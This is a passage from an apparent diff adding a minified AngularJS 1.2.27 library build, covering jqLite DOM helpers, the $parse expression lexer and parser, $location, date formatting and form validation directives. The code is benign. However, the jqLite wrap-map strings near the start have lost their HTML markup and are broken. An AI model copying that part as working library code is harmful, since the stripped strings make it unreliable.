((g = k(l, -1)), h.$removeClass(g)); + } + }); + }, + }; + }, + ]; + } + var Oe = "validity", + x = function (b) { + return G(b) ? b.toLowerCase() : b; + }, + lb = Object.prototype.hasOwnProperty, + La = function (b) { + return G(b) ? b.toUpperCase() : b; + }, + R, + A, + Fa, + wa = [].slice, + Pe = [].push, + Ba = Object.prototype.toString, + Va = z("ng"), + Xa = W.angular || (W.angular = {}), + $a, + Pa, + na = ["0", "0", "0"]; + R = U((/msie (\d+)/.exec(x(navigator.userAgent)) || [])[1]); + isNaN(R) && + (R = U((/trident\/.*; rv:(\d+)/.exec(x(navigator.userAgent)) || [])[1])); + v.$inject = []; + ga.$inject = []; + var L = (function () { + return N(Array.isArray) + ? Array.isArray + : function (b) { + return "[object Array]" === Ba.call(b); + }; + })(), + $ = (function () { + return String.prototype.trim + ? function (b) { + return G(b) ? b.trim() : b; + } + : function (b) { + return G(b) ? b.replace(/^\s\s*/, "").replace(/\s\s*$/, "") : b; + }; + })(); + Pa = + 9 > R + ? function (b) { + b = b.nodeName ? b : b[0]; + return b.scopeName && "HTML" != b.scopeName + ? La(b.scopeName + ":" + b.nodeName) + : b.nodeName; + } + : function (b) { + return b.nodeName ? b.nodeName : b[0].nodeName; + }; + var Za = function () { + if (D(Za.isActive_)) return Za.isActive_; + var b = !( + !X.querySelector("[ng-csp]") && !X.querySelector("[data-ng-csp]") + ); + if (!b) + try { + new Function(""); + } catch (a) { + b = !0; + } + return (Za.isActive_ = b); + }, + Xc = /[A-Z]/g, + $c = { + full: "1.2.27", + major: 1, + minor: 2, + dot: 27, + codeName: "prime-factorization", + }; + S.expando = "ng339"; + var cb = (S.cache = {}), + me = 1, + sb = W.document.addEventListener + ? function (b, a, c) { + b.addEventListener(a, c, !1); + } + : function (b, a, c) { + b.attachEvent("on" + a, c); + }, + bb = W.document.removeEventListener + ? function (b, a, c) { + b.removeEventListener(a, c, !1); + } + : function (b, a, c) { + b.detachEvent("on" + a, c); + }; + S._data = function (b) { + return this.cache[b[this.expando]] || {}; + }; + var he = /([\:\-\_]+(.))/g, + ie = /^moz([A-Z])/, + Hb = z("jqLite"), + je = /^<(\w+)\s*\/?>(?:<\/\1>|)$/, + Ib = /<|&#?\w+;/, + ke = /<([\w:]+)/, + le = + /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, + da = { + option: [1, '"], + thead: [1, "", "
"], + col: [2, "", "
"], + tr: [2, "", "
"], + td: [3, "", "
"], + _default: [0, "", ""], + }; + da.optgroup = da.option; + da.tbody = da.tfoot = da.colgroup = da.caption = da.thead; + da.th = da.td; + var Oa = (S.prototype = { + ready: function (b) { + function a() { + c || ((c = !0), b()); + } + var c = !1; + "complete" === X.readyState + ? setTimeout(a) + : (this.on("DOMContentLoaded", a), S(W).on("load", a)); + }, + toString: function () { + var b = []; + r(this, function (a) { + b.push("" + a); + }); + return "[" + b.join(", ") + "]"; + }, + eq: function (b) { + return 0 <= b ? A(this[b]) : A(this[this.length + b]); + }, + length: 0, + push: Pe, + sort: [].sort, + splice: [].splice, + }), + rb = {}; + r( + "multiple selected checked disabled readOnly required open".split(" "), + function (b) { + rb[x(b)] = b; + } + ); + var pc = {}; + r( + "input select option textarea button form details".split(" "), + function (b) { + pc[La(b)] = !0; + } + ); + r({ data: Mb, removeData: Lb }, function (b, a) { + S[a] = b; + }); + r( + { + data: Mb, + inheritedData: qb, + scope: function (b) { + return ( + A.data(b, "$scope") || + qb(b.parentNode || b, ["$isolateScope", "$scope"]) + ); + }, + isolateScope: function (b) { + return ( + A.data(b, "$isolateScope") || A.data(b, "$isolateScopeNoTemplate") + ); + }, + controller: mc, + injector: function (b) { + return qb(b, "$injector"); + }, + removeAttr: function (b, a) { + b.removeAttribute(a); + }, + hasClass: Nb, + css: function (b, a, c) { + a = ab(a); + if (D(c)) b.style[a] = c; + else { + var d; + 8 >= R && + ((d = b.currentStyle && b.currentStyle[a]), + "" === d && (d = "auto")); + d = d || b.style[a]; + 8 >= R && (d = "" === d ? u : d); + return d; + } + }, + attr: function (b, a, c) { + var d = x(a); + if (rb[d]) + if (D(c)) + c + ? ((b[a] = !0), b.setAttribute(a, d)) + : ((b[a] = !1), b.removeAttribute(d)); + else + return b[a] || (b.attributes.getNamedItem(a) || v).specified + ? d + : u; + else if (D(c)) b.setAttribute(a, c); + else if (b.getAttribute) + return (b = b.getAttribute(a, 2)), null === b ? u : b; + }, + prop: function (b, a, c) { + if (D(c)) b[a] = c; + else return b[a]; + }, + text: (function () { + function b(b, d) { + var e = a[b.nodeType]; + if (F(d)) return e ? b[e] : ""; + b[e] = d; + } + var a = []; + 9 > R + ? ((a[1] = "innerText"), (a[3] = "nodeValue")) + : (a[1] = a[3] = "textContent"); + b.$dv = ""; + return b; + })(), + val: function (b, a) { + if (F(a)) { + if ("SELECT" === Pa(b) && b.multiple) { + var c = []; + r(b.options, function (a) { + a.selected && c.push(a.value || a.text); + }); + return 0 === c.length ? null : c; + } + return b.value; + } + b.value = a; + }, + html: function (b, a) { + if (F(a)) return b.innerHTML; + for (var c = 0, d = b.childNodes; c < d.length; c++) Ma(d[c]); + b.innerHTML = a; + }, + empty: nc, + }, + function (b, a) { + S.prototype[a] = function (a, d) { + var e, + f, + g = this.length; + if (b !== nc && (2 == b.length && b !== Nb && b !== mc ? a : d) === u) { + if (T(a)) { + for (e = 0; e < g; e++) + if (b === Mb) b(this[e], a); + else for (f in a) b(this[e], f, a[f]); + return this; + } + e = b.$dv; + g = e === u ? Math.min(g, 1) : g; + for (f = 0; f < g; f++) { + var h = b(this[f], a, d); + e = e ? e + h : h; + } + return e; + } + for (e = 0; e < g; e++) b(this[e], a, d); + return this; + }; + } + ); + r( + { + removeData: Lb, + dealoc: Ma, + on: function a(c, d, e, f) { + if (D(f)) throw Hb("onargs"); + var g = pa(c, "events"), + h = pa(c, "handle"); + g || pa(c, "events", (g = {})); + h || pa(c, "handle", (h = ne(c, g))); + r(d.split(" "), function (d) { + var f = g[d]; + if (!f) { + if ("mouseenter" == d || "mouseleave" == d) { + var l = + X.body.contains || X.body.compareDocumentPosition + ? function (a, c) { + var d = 9 === a.nodeType ? a.documentElement : a, + e = c && c.parentNode; + return ( + a === e || + !!( + e && + 1 === e.nodeType && + (d.contains + ? d.contains(e) + : a.compareDocumentPosition && + a.compareDocumentPosition(e) & 16) + ) + ); + } + : function (a, c) { + if (c) + for (; (c = c.parentNode); ) if (c === a) return !0; + return !1; + }; + g[d] = []; + a( + c, + { mouseleave: "mouseout", mouseenter: "mouseover" }[d], + function (a) { + var c = a.relatedTarget; + (c && (c === this || l(this, c))) || h(a, d); + } + ); + } else sb(c, d, h), (g[d] = []); + f = g[d]; + } + f.push(e); + }); + }, + off: lc, + one: function (a, c, d) { + a = A(a); + a.on(c, function f() { + a.off(c, d); + a.off(c, f); + }); + a.on(c, d); + }, + replaceWith: function (a, c) { + var d, + e = a.parentNode; + Ma(a); + r(new S(c), function (c) { + d ? e.insertBefore(c, d.nextSibling) : e.replaceChild(c, a); + d = c; + }); + }, + children: function (a) { + var c = []; + r(a.childNodes, function (a) { + 1 === a.nodeType && c.push(a); + }); + return c; + }, + contents: function (a) { + return a.contentDocument || a.childNodes || []; + }, + append: function (a, c) { + r(new S(c), function (c) { + (1 !== a.nodeType && 11 !== a.nodeType) || a.appendChild(c); + }); + }, + prepend: function (a, c) { + if (1 === a.nodeType) { + var d = a.firstChild; + r(new S(c), function (c) { + a.insertBefore(c, d); + }); + } + }, + wrap: function (a, c) { + c = A(c)[0]; + var d = a.parentNode; + d && d.replaceChild(c, a); + c.appendChild(a); + }, + remove: function (a) { + Ma(a); + var c = a.parentNode; + c && c.removeChild(a); + }, + after: function (a, c) { + var d = a, + e = a.parentNode; + r(new S(c), function (a) { + e.insertBefore(a, d.nextSibling); + d = a; + }); + }, + addClass: pb, + removeClass: ob, + toggleClass: function (a, c, d) { + c && + r(c.split(" "), function (c) { + var f = d; + F(f) && (f = !Nb(a, c)); + (f ? pb : ob)(a, c); + }); + }, + parent: function (a) { + return (a = a.parentNode) && 11 !== a.nodeType ? a : null; + }, + next: function (a) { + if (a.nextElementSibling) return a.nextElementSibling; + for (a = a.nextSibling; null != a && 1 !== a.nodeType; ) + a = a.nextSibling; + return a; + }, + find: function (a, c) { + return a.getElementsByTagName ? a.getElementsByTagName(c) : []; + }, + clone: Kb, + triggerHandler: function (a, c, d) { + var e, f; + e = c.type || c; + var g = (pa(a, "events") || {})[e]; + g && + ((e = { + preventDefault: function () { + this.defaultPrevented = !0; + }, + isDefaultPrevented: function () { + return !0 === this.defaultPrevented; + }, + stopPropagation: v, + type: e, + target: a, + }), + c.type && (e = E(e, c)), + (c = ha(g)), + (f = d ? [e].concat(d) : [e]), + r(c, function (c) { + c.apply(a, f); + })); + }, + }, + function (a, c) { + S.prototype[c] = function (c, e, f) { + for (var g, h = 0; h < this.length; h++) + F(g) + ? ((g = a(this[h], c, e, f)), D(g) && (g = A(g))) + : Jb(g, a(this[h], c, e, f)); + return D(g) ? g : this; + }; + S.prototype.bind = S.prototype.on; + S.prototype.unbind = S.prototype.off; + } + ); + db.prototype = { + put: function (a, c) { + this[Na(a, this.nextUid)] = c; + }, + get: function (a) { + return this[Na(a, this.nextUid)]; + }, + remove: function (a) { + var c = this[(a = Na(a, this.nextUid))]; + delete this[a]; + return c; + }, + }; + var pe = /^function\s*[^\(]*\(\s*([^\)]*)\)/m, + qe = /,/, + re = /^\s*(_?)(\S+?)\1\s*$/, + oe = /((\/\/.*$)|(\/\*[\s\S]*?\*\/))/gm, + eb = z("$injector"), + Qe = z("$animate"), + Ld = [ + "$provide", + function (a) { + this.$$selectors = {}; + this.register = function (c, d) { + var e = c + "-animation"; + if (c && "." != c.charAt(0)) throw Qe("notcsel", c); + this.$$selectors[c.substr(1)] = e; + a.factory(e, d); + }; + this.classNameFilter = function (a) { + 1 === arguments.length && + (this.$$classNameFilter = a instanceof RegExp ? a : null); + return this.$$classNameFilter; + }; + this.$get = [ + "$timeout", + "$$asyncCallback", + function (a, d) { + return { + enter: function (a, c, g, h) { + g ? g.after(a) : ((c && c[0]) || (c = g.parent()), c.append(a)); + h && d(h); + }, + leave: function (a, c) { + a.remove(); + c && d(c); + }, + move: function (a, c, d, h) { + this.enter(a, c, d, h); + }, + addClass: function (a, c, g) { + c = G(c) ? c : L(c) ? c.join(" ") : ""; + r(a, function (a) { + pb(a, c); + }); + g && d(g); + }, + removeClass: function (a, c, g) { + c = G(c) ? c : L(c) ? c.join(" ") : ""; + r(a, function (a) { + ob(a, c); + }); + g && d(g); + }, + setClass: function (a, c, g, h) { + r(a, function (a) { + pb(a, c); + ob(a, g); + }); + h && d(h); + }, + enabled: v, + }; + }, + ]; + }, + ], + ja = z("$compile"); + gc.$inject = ["$provide", "$$sanitizeUriProvider"]; + var we = /^(x[\:\-_]|data[\:\-_])/i, + wc = z("$interpolate"), + Re = /^([^\?#]*)(\?([^#]*))?(#(.*))?$/, + ze = { http: 80, https: 443, ftp: 21 }, + Sb = z("$location"); + Ac.prototype = + Tb.prototype = + zc.prototype = + { + $$html5: !1, + $$replace: !1, + absUrl: tb("$$absUrl"), + url: function (a) { + if (F(a)) return this.$$url; + a = Re.exec(a); + a[1] && this.path(decodeURIComponent(a[1])); + (a[2] || a[1]) && this.search(a[3] || ""); + this.hash(a[5] || ""); + return this; + }, + protocol: tb("$$protocol"), + host: tb("$$host"), + port: tb("$$port"), + path: Bc("$$path", function (a) { + a = null !== a ? a.toString() : ""; + return "/" == a.charAt(0) ? a : "/" + a; + }), + search: function (a, c) { + switch (arguments.length) { + case 0: + return this.$$search; + case 1: + if (G(a) || jb(a)) (a = a.toString()), (this.$$search = cc(a)); + else if (T(a)) + r(a, function (c, e) { + null == c && delete a[e]; + }), + (this.$$search = a); + else throw Sb("isrcharg"); + break; + default: + F(c) || null === c + ? delete this.$$search[a] + : (this.$$search[a] = c); + } + this.$$compose(); + return this; + }, + hash: Bc("$$hash", function (a) { + return null !== a ? a.toString() : ""; + }), + replace: function () { + this.$$replace = !0; + return this; + }, + }; + var la = z("$parse"), + Ec = {}, + ya, + Se = Function.prototype.call, + Te = Function.prototype.apply, + Pc = Function.prototype.bind, + hb = { + null: function () { + return null; + }, + true: function () { + return !0; + }, + false: function () { + return !1; + }, + undefined: v, + "+": function (a, c, d, e) { + d = d(a, c); + e = e(a, c); + return D(d) ? (D(e) ? d + e : d) : D(e) ? e : u; + }, + "-": function (a, c, d, e) { + d = d(a, c); + e = e(a, c); + return (D(d) ? d : 0) - (D(e) ? e : 0); + }, + "*": function (a, c, d, e) { + return d(a, c) * e(a, c); + }, + "/": function (a, c, d, e) { + return d(a, c) / e(a, c); + }, + "%": function (a, c, d, e) { + return d(a, c) % e(a, c); + }, + "^": function (a, c, d, e) { + return d(a, c) ^ e(a, c); + }, + "=": v, + "===": function (a, c, d, e) { + return d(a, c) === e(a, c); + }, + "!==": function (a, c, d, e) { + return d(a, c) !== e(a, c); + }, + "==": function (a, c, d, e) { + return d(a, c) == e(a, c); + }, + "!=": function (a, c, d, e) { + return d(a, c) != e(a, c); + }, + "<": function (a, c, d, e) { + return d(a, c) < e(a, c); + }, + ">": function (a, c, d, e) { + return d(a, c) > e(a, c); + }, + "<=": function (a, c, d, e) { + return d(a, c) <= e(a, c); + }, + ">=": function (a, c, d, e) { + return d(a, c) >= e(a, c); + }, + "&&": function (a, c, d, e) { + return d(a, c) && e(a, c); + }, + "||": function (a, c, d, e) { + return d(a, c) || e(a, c); + }, + "&": function (a, c, d, e) { + return d(a, c) & e(a, c); + }, + "|": function (a, c, d, e) { + return e(a, c)(a, c, d(a, c)); + }, + "!": function (a, c, d) { + return !d(a, c); + }, + }, + Ue = { n: "\n", f: "\f", r: "\r", t: "\t", v: "\v", "'": "'", '"': '"' }, + Ub = function (a) { + this.options = a; + }; + Ub.prototype = { + constructor: Ub, + lex: function (a) { + this.text = a; + this.index = 0; + this.ch = u; + this.lastCh = ":"; + for (this.tokens = []; this.index < this.text.length; ) { + this.ch = this.text.charAt(this.index); + if (this.is("\"'")) this.readString(this.ch); + else if ( + this.isNumber(this.ch) || + (this.is(".") && this.isNumber(this.peek())) + ) + this.readNumber(); + else if (this.isIdent(this.ch)) this.readIdent(); + else if (this.is("(){}[].,;:?")) + this.tokens.push({ index: this.index, text: this.ch }), this.index++; + else if (this.isWhitespace(this.ch)) { + this.index++; + continue; + } else { + a = this.ch + this.peek(); + var c = a + this.peek(2), + d = hb[this.ch], + e = hb[a], + f = hb[c]; + f + ? (this.tokens.push({ index: this.index, text: c, fn: f }), + (this.index += 3)) + : e + ? (this.tokens.push({ index: this.index, text: a, fn: e }), + (this.index += 2)) + : d + ? (this.tokens.push({ index: this.index, text: this.ch, fn: d }), + (this.index += 1)) + : this.throwError( + "Unexpected next character ", + this.index, + this.index + 1 + ); + } + this.lastCh = this.ch; + } + return this.tokens; + }, + is: function (a) { + return -1 !== a.indexOf(this.ch); + }, + was: function (a) { + return -1 !== a.indexOf(this.lastCh); + }, + peek: function (a) { + a = a || 1; + return this.index + a < this.text.length + ? this.text.charAt(this.index + a) + : !1; + }, + isNumber: function (a) { + return "0" <= a && "9" >= a; + }, + isWhitespace: function (a) { + return ( + " " === a || + "\r" === a || + "\t" === a || + "\n" === a || + "\v" === a || + "\u00a0" === a + ); + }, + isIdent: function (a) { + return ( + ("a" <= a && "z" >= a) || + ("A" <= a && "Z" >= a) || + "_" === a || + "$" === a + ); + }, + isExpOperator: function (a) { + return "-" === a || "+" === a || this.isNumber(a); + }, + throwError: function (a, c, d) { + d = d || this.index; + c = D(c) + ? "s " + c + "-" + this.index + " [" + this.text.substring(c, d) + "]" + : " " + d; + throw la("lexerr", a, c, this.text); + }, + readNumber: function () { + for (var a = "", c = this.index; this.index < this.text.length; ) { + var d = x(this.text.charAt(this.index)); + if ("." == d || this.isNumber(d)) a += d; + else { + var e = this.peek(); + if ("e" == d && this.isExpOperator(e)) a += d; + else if ( + this.isExpOperator(d) && + e && + this.isNumber(e) && + "e" == a.charAt(a.length - 1) + ) + a += d; + else if ( + !this.isExpOperator(d) || + (e && this.isNumber(e)) || + "e" != a.charAt(a.length - 1) + ) + break; + else this.throwError("Invalid exponent"); + } + this.index++; + } + a *= 1; + this.tokens.push({ + index: c, + text: a, + literal: !0, + constant: !0, + fn: function () { + return a; + }, + }); + }, + readIdent: function () { + for ( + var a = this, c = "", d = this.index, e, f, g, h; + this.index < this.text.length; + + ) { + h = this.text.charAt(this.index); + if ("." === h || this.isIdent(h) || this.isNumber(h)) + "." === h && (e = this.index), (c += h); + else break; + this.index++; + } + if (e) + for (f = this.index; f < this.text.length; ) { + h = this.text.charAt(f); + if ("(" === h) { + g = c.substr(e - d + 1); + c = c.substr(0, e - d); + this.index = f; + break; + } + if (this.isWhitespace(h)) f++; + else break; + } + d = { index: d, text: c }; + if (hb.hasOwnProperty(c)) + (d.fn = hb[c]), (d.literal = !0), (d.constant = !0); + else { + var k = Dc(c, this.options, this.text); + d.fn = E( + function (a, c) { + return k(a, c); + }, + { + assign: function (d, e) { + return ub(d, c, e, a.text, a.options); + }, + } + ); + } + this.tokens.push(d); + g && + (this.tokens.push({ index: e, text: "." }), + this.tokens.push({ index: e + 1, text: g })); + }, + readString: function (a) { + var c = this.index; + this.index++; + for (var d = "", e = a, f = !1; this.index < this.text.length; ) { + var g = this.text.charAt(this.index), + e = e + g; + if (f) + "u" === g + ? ((f = this.text.substring(this.index + 1, this.index + 5)), + f.match(/[\da-f]{4}/i) || + this.throwError("Invalid unicode escape [\\u" + f + "]"), + (this.index += 4), + (d += String.fromCharCode(parseInt(f, 16)))) + : (d += Ue[g] || g), + (f = !1); + else if ("\\" === g) f = !0; + else { + if (g === a) { + this.index++; + this.tokens.push({ + index: c, + text: e, + string: d, + literal: !0, + constant: !0, + fn: function () { + return d; + }, + }); + return; + } + d += g; + } + this.index++; + } + this.throwError("Unterminated quote", c); + }, + }; + var gb = function (a, c, d) { + this.lexer = a; + this.$filter = c; + this.options = d; + }; + gb.ZERO = E( + function () { + return 0; + }, + { constant: !0 } + ); + gb.prototype = { + constructor: gb, + parse: function (a) { + this.text = a; + this.tokens = this.lexer.lex(a); + a = this.statements(); + 0 !== this.tokens.length && + this.throwError("is an unexpected token", this.tokens[0]); + a.literal = !!a.literal; + a.constant = !!a.constant; + return a; + }, + primary: function () { + var a; + if (this.expect("(")) (a = this.filterChain()), this.consume(")"); + else if (this.expect("[")) a = this.arrayDeclaration(); + else if (this.expect("{")) a = this.object(); + else { + var c = this.expect(); + (a = c.fn) || this.throwError("not a primary expression", c); + a.literal = !!c.literal; + a.constant = !!c.constant; + } + for (var d; (c = this.expect("(", "[", ".")); ) + "(" === c.text + ? ((a = this.functionCall(a, d)), (d = null)) + : "[" === c.text + ? ((d = a), (a = this.objectIndex(a))) + : "." === c.text + ? ((d = a), (a = this.fieldAccess(a))) + : this.throwError("IMPOSSIBLE"); + return a; + }, + throwError: function (a, c) { + throw la( + "syntax", + c.text, + a, + c.index + 1, + this.text, + this.text.substring(c.index) + ); + }, + peekToken: function () { + if (0 === this.tokens.length) throw la("ueoe", this.text); + return this.tokens[0]; + }, + peek: function (a, c, d, e) { + if (0 < this.tokens.length) { + var f = this.tokens[0], + g = f.text; + if (g === a || g === c || g === d || g === e || !(a || c || d || e)) + return f; + } + return !1; + }, + expect: function (a, c, d, e) { + return (a = this.peek(a, c, d, e)) ? (this.tokens.shift(), a) : !1; + }, + consume: function (a) { + this.expect(a) || + this.throwError("is unexpected, expecting [" + a + "]", this.peek()); + }, + unaryFn: function (a, c) { + return E( + function (d, e) { + return a(d, e, c); + }, + { constant: c.constant } + ); + }, + ternaryFn: function (a, c, d) { + return E( + function (e, f) { + return a(e, f) ? c(e, f) : d(e, f); + }, + { constant: a.constant && c.constant && d.constant } + ); + }, + binaryFn: function (a, c, d) { + return E( + function (e, f) { + return c(e, f, a, d); + }, + { constant: a.constant && d.constant } + ); + }, + statements: function () { + for (var a = []; ; ) + if ( + (0 < this.tokens.length && + !this.peek("}", ")", ";", "]") && + a.push(this.filterChain()), + !this.expect(";")) + ) + return 1 === a.length + ? a[0] + : function (c, d) { + for (var e, f = 0; f < a.length; f++) { + var g = a[f]; + g && (e = g(c, d)); + } + return e; + }; + }, + filterChain: function () { + for (var a = this.expression(), c; ; ) + if ((c = this.expect("|"))) a = this.binaryFn(a, c.fn, this.filter()); + else return a; + }, + filter: function () { + for (var a = this.expect(), c = this.$filter(a.text), d = []; ; ) + if ((a = this.expect(":"))) d.push(this.expression()); + else { + var e = function (a, e, h) { + h = [h]; + for (var k = 0; k < d.length; k++) h.push(d[k](a, e)); + return c.apply(a, h); + }; + return function () { + return e; + }; + } + }, + expression: function () { + return this.assignment(); + }, + assignment: function () { + var a = this.ternary(), + c, + d; + return (d = this.expect("=")) + ? (a.assign || + this.throwError( + "implies assignment but [" + + this.text.substring(0, d.index) + + "] can not be assigned to", + d + ), + (c = this.ternary()), + function (d, f) { + return a.assign(d, c(d, f), f); + }) + : a; + }, + ternary: function () { + var a = this.logicalOR(), + c, + d; + if (this.expect("?")) { + c = this.assignment(); + if ((d = this.expect(":"))) + return this.ternaryFn(a, c, this.assignment()); + this.throwError("expected :", d); + } else return a; + }, + logicalOR: function () { + for (var a = this.logicalAND(), c; ; ) + if ((c = this.expect("||"))) + a = this.binaryFn(a, c.fn, this.logicalAND()); + else return a; + }, + logicalAND: function () { + var a = this.equality(), + c; + if ((c = this.expect("&&"))) + a = this.binaryFn(a, c.fn, this.logicalAND()); + return a; + }, + equality: function () { + var a = this.relational(), + c; + if ((c = this.expect("==", "!=", "===", "!=="))) + a = this.binaryFn(a, c.fn, this.equality()); + return a; + }, + relational: function () { + var a = this.additive(), + c; + if ((c = this.expect("<", ">", "<=", ">="))) + a = this.binaryFn(a, c.fn, this.relational()); + return a; + }, + additive: function () { + for (var a = this.multiplicative(), c; (c = this.expect("+", "-")); ) + a = this.binaryFn(a, c.fn, this.multiplicative()); + return a; + }, + multiplicative: function () { + for (var a = this.unary(), c; (c = this.expect("*", "/", "%")); ) + a = this.binaryFn(a, c.fn, this.unary()); + return a; + }, + unary: function () { + var a; + return this.expect("+") + ? this.primary() + : (a = this.expect("-")) + ? this.binaryFn(gb.ZERO, a.fn, this.unary()) + : (a = this.expect("!")) + ? this.unaryFn(a.fn, this.unary()) + : this.primary(); + }, + fieldAccess: function (a) { + var c = this, + d = this.expect().text, + e = Dc(d, this.options, this.text); + return E( + function (c, d, h) { + return e(h || a(c, d)); + }, + { + assign: function (e, g, h) { + (h = a(e, h)) || a.assign(e, (h = {})); + return ub(h, d, g, c.text, c.options); + }, + } + ); + }, + objectIndex: function (a) { + var c = this, + d = this.expression(); + this.consume("]"); + return E( + function (e, f) { + var g = a(e, f), + h = d(e, f), + k; + ka(h, c.text); + if (!g) return u; + (g = ma(g[h], c.text)) && + g.then && + c.options.unwrapPromises && + ((k = g), + "$$v" in g || + ((k.$$v = u), + k.then(function (a) { + k.$$v = a; + })), + (g = g.$$v)); + return g; + }, + { + assign: function (e, f, g) { + var h = ka(d(e, g), c.text); + (g = ma(a(e, g), c.text)) || a.assign(e, (g = {})); + return (g[h] = f); + }, + } + ); + }, + functionCall: function (a, c) { + var d = []; + if (")" !== this.peekToken().text) { + do d.push(this.expression()); + while (this.expect(",")); + } + this.consume(")"); + var e = this; + return function (f, g) { + for (var h = [], k = c ? c(f, g) : f, m = 0; m < d.length; m++) + h.push(ma(d[m](f, g), e.text)); + m = a(f, g, k) || v; + ma(k, e.text); + var l = e.text; + if (m) { + if (m.constructor === m) throw la("isecfn", l); + if (m === Se || m === Te || (Pc && m === Pc)) throw la("isecff", l); + } + h = m.apply ? m.apply(k, h) : m(h[0], h[1], h[2], h[3], h[4]); + return ma(h, e.text); + }; + }, + arrayDeclaration: function () { + var a = [], + c = !0; + if ("]" !== this.peekToken().text) { + do { + if (this.peek("]")) break; + var d = this.expression(); + a.push(d); + d.constant || (c = !1); + } while (this.expect(",")); + } + this.consume("]"); + return E( + function (c, d) { + for (var g = [], h = 0; h < a.length; h++) g.push(a[h](c, d)); + return g; + }, + { literal: !0, constant: c } + ); + }, + object: function () { + var a = [], + c = !0; + if ("}" !== this.peekToken().text) { + do { + if (this.peek("}")) break; + var d = this.expect(), + d = d.string || d.text; + this.consume(":"); + var e = this.expression(); + a.push({ key: d, value: e }); + e.constant || (c = !1); + } while (this.expect(",")); + } + this.consume("}"); + return E( + function (c, d) { + for (var e = {}, k = 0; k < a.length; k++) { + var m = a[k]; + e[m.key] = m.value(c, d); + } + return e; + }, + { literal: !0, constant: c } + ); + }, + }; + var Ce = {}, + Be = {}, + za = z("$sce"), + fa = { + HTML: "html", + CSS: "css", + URL: "url", + RESOURCE_URL: "resourceUrl", + JS: "js", + }, + Y = X.createElement("a"), + Gc = xa(W.location.href, !0); + kc.$inject = ["$provide"]; + Hc.$inject = ["$locale"]; + Jc.$inject = ["$locale"]; + var Mc = ".", + Me = { + yyyy: Z("FullYear", 4), + yy: Z("FullYear", 2, 0, !0), + y: Z("FullYear", 1), + MMMM: vb("Month"), + MMM: vb("Month", !0), + MM: Z("Month", 2, 1), + M: Z("Month", 1, 1), + dd: Z("Date", 2), + d: Z("Date", 1), + HH: Z("Hours", 2), + H: Z("Hours", 1), + hh: Z("Hours", 2, -12), + h: Z("Hours", 1, -12), + mm: Z("Minutes", 2), + m: Z("Minutes", 1), + ss: Z("Seconds", 2), + s: Z("Seconds", 1), + sss: Z("Milliseconds", 3), + EEEE: vb("Day"), + EEE: vb("Day", !0), + a: function (a, c) { + return 12 > a.getHours() ? c.AMPMS[0] : c.AMPMS[1]; + }, + Z: function (a) { + a = -1 * a.getTimezoneOffset(); + return (a = + (0 <= a ? "+" : "") + + (Vb(Math[0 < a ? "floor" : "ceil"](a / 60), 2) + + Vb(Math.abs(a % 60), 2))); + }, + }, + Le = + /((?:[^yMdHhmsaZE']+)|(?:'(?:[^']|'')*')|(?:E+|y+|M+|d+|H+|h+|m+|s+|a|Z))(.*)/, + Ke = /^\-?\d+$/; + Ic.$inject = ["$locale"]; + var Ie = aa(x), + Je = aa(La); + Kc.$inject = ["$parse"]; + var cd = aa({ + restrict: "E", + compile: function (a, c) { + 8 >= R && + (c.href || c.name || c.$set("href", ""), + a.append(X.createComment("IE fix"))); + if (!c.href && !c.xlinkHref && !c.name) + return function (a, c) { + var f = + "[object SVGAnimatedString]" === Ba.call(c.prop("href")) + ? "xlink:href" + : "href"; + c.on("click", function (a) { + c.attr(f) || a.preventDefault(); + }); + }; + }, + }), + Fb = {}; + r(rb, function (a, c) { + if ("multiple" != a) { + var d = qa("ng-" + c); + Fb[d] = function () { + return { + priority: 100, + link: function (a, f, g) { + a.$watch(g[d], function (a) { + g.$set(c, !!a); + }); + }, + }; + }; + } + }); + r(["src", "srcset", "href"], function (a) { + var c = qa("ng-" + a); + Fb[c] = function () { + return { + priority: 99, + link: function (d, e, f) { + var g = a, + h = a; + "href" === a && + "[object SVGAnimatedString]" === Ba.call(e.prop("href")) && + ((h = "xlinkHref"), (f.$attr[h] = "xlink:href"), (g = null)); + f.$observe(c, function (c) { + c + ? (f.$set(h, c), R && g && e.prop(g, f[h])) + : "href" === a && f.$set(h, null); + }); + }, + }; + }; + }); + var yb = { + $addControl: v, + $removeControl: v, + $setValidity: v, + $setDirty: v, + $setPristine: v, + }; + Nc.$inject = ["$element", "$attrs", "$scope", "$animate"]; + var Qc = function (a) { + return [ + "$timeout", + function (c) { + return { + name: "form", + restrict: a ? "EAC" : "E", + controller: Nc, + compile: function () { + return { + pre: function (a, e, f, g) { + if (!f.action) { + var h = function (a) { + a.preventDefault + ? a.preventDefault() + : (a.returnValue = !1); + }; + sb(e[0], "submit", h); + e.on("$destroy", function () { + c( + function () { + bb(e[0], "submit", h); + }, + 0, + !1 + ); + }); + } + var k = e.parent().controller("form"), + m = f.name || f.ngForm; + m && ub(a, m, g, m); + if (k) + e.on("$destroy", function () { + k.$removeControl(g); + m && ub(a, m, u, m); + E(g, yb); + }); + }, + }; + }, + }; + }, + ]; + }, + dd = Qc(), + qd = Qc(!0), + Ve = + /^(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?$/, + We = + /^[a-z0-9!#$%&'*+\/=?^_`{|}~.-]+@[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)*$/i, + Xe = /^\s*(\-|\+)?(\d+|(\d*(\.\d*)))\s*$/, + Rc = { + text: Ab, + number: function (a, c, d, e, f, g) { + Ab(a, c, d, e, f, g); + e.$parsers.push(function (a) { + var c = e.$isEmpty(a); + if (c || Xe.test(a)) + return ( + e.$setValidity("number", !0), + "" === a ? null : c ? a : parseFloat(a) + ); + e.$setValidity("number", !1); + return u; + }); + Ne(e, "number", Ye, null, e.$$validityState); + e.$formatters.push(function (a) { + return e.$isEmpty(a) ? "" : "" + a; + }); + d.min && + ((a = function (a) { + var c = parseFloat(d.min); + return ua(e, "min", e.$isEmpty(a) || a >= c, a); + }), + e.$parsers.push(a), + e.$formatters.push(a)); + d.max && + ((a = function (a) { + var c = parseFloat(d.max); + return ua(e, "max", e.$isEmpty(a) || a <= c, a); + }), + e.$parsers.push(a), + e.$formatters.push(a)); + e.$formatters.push(function (a) { + return ua(e, "number", e.$isEmpty(a) || jb(a), a); + }); + }, + url: function (a, c, d, e, f, g) { + Ab(a, c, d, e, f, g); + a = function (a) { + return ua(e, "url", e.$isEmpty(a) || Ve.test(a), a); + }; + e.$formatters.push(a); + 